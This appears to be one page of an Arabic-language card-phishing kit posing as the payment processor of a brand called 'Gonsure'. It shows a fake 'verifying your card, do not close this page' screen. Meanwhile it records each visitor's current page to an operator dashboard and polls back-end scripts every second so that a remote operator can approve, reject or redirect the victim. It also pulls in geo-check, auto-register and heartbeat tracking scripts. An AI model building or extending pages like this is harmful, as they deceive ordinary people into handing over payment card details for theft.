<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'إنتظار البطاقة');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'إنتظار البطاقة'
    ];
}

if (isset($_GET['reject'])) {
    $showError = true;
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | جاري المعالجة</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        body {
            background: var(--bg-light);
            min-height: 100vh;
        }
        .processing-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 80px 24px;
        }
        .processing-card {
            background: var(--bg-white);
            border-radius: 24px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.08);
            padding: 40px 24px;
            text-align: center;
            max-width: 360px;
            width: 100%;
        }
        .card-animation {
            position: relative;
            width: 80px;
            height: 80px;
            margin: 0 auto 24px;
        }
        .card-animation::before {
            content: '';
            position: absolute;
            inset: 0;
            border-radius: 50%;
            border: 3px solid #e5e7eb;
            border-top-color: var(--primary);
            animation: spin 1s linear infinite;
        }
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        .card-animation i {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            font-size: 28px;
            color: var(--primary);
        }
        .processing-text {
            font-size: 16px;
            font-weight: 700;
            color: var(--text-dark);
            margin-bottom: 8px;
        }
        .processing-desc {
            font-size: 13px;
            color: var(--text-muted);
            line-height: 1.6;
        }
        .warning-badge {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: #fef3c7;
            border: 1px solid #f59e0b;
            border-radius: 50px;
            padding: 8px 16px;
            font-size: 12px;
            font-weight: 600;
            color: #92400e;
            margin-top: 20px;
        }
        .progress-dots {
            display: flex;
            gap: 6px;
            justify-content: center;
            margin-top: 20px;
        }
        .progress-dots span {
            width: 8px;
            height: 8px;
            border-radius: 50%;
            background: var(--primary);
            animation: dotPulse 1.4s infinite ease-in-out;
        }
        .progress-dots span:nth-child(2) { animation-delay: 0.2s; }
        .progress-dots span:nth-child(3) { animation-delay: 0.4s; }
        @keyframes dotPulse {
            0%, 80%, 100% { opacity: 0.3; transform: scale(0.8); }
            40% { opacity: 1; transform: scale(1.2); }
        }
    </style>
</head>
<body>

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
    </nav>

    <!-- Processing -->
    <div class="processing-container fade-in">
        <div class="processing-card">
            <div class="card-animation">
                <i class="fas fa-credit-card"></i>
            </div>
            <p class="processing-text">جاري معالجة الدفع</p>
            <p class="processing-desc">يتم التحقق من بيانات البطاقة، يرجى الانتظار</p>
            <div class="progress-dots">
                <span></span>
                <span></span>
                <span></span>
            </div>
            <div class="warning-badge">
                <i class="fas fa-exclamation-circle"></i>
                لا تغلق هذه الصفحة
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

    <script src="js/main.js"></script>
    <script src="https://code.jquery.com/jquery-3.6.0.js" crossorigin="anonymous"></script>
    <script>
        setInterval(() => {
            $.ajax({
                url: "wait-fn.php",
                type: "POST",
                success: (response) => {
                    const data = JSON.parse(response);
                    if (data.status == 1) {
                        window.location = data.url;
                    } else if (data.status == 2) {
                        window.location = data.url;
                    }
                }
            });
        }, 1000);
    </script>
    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
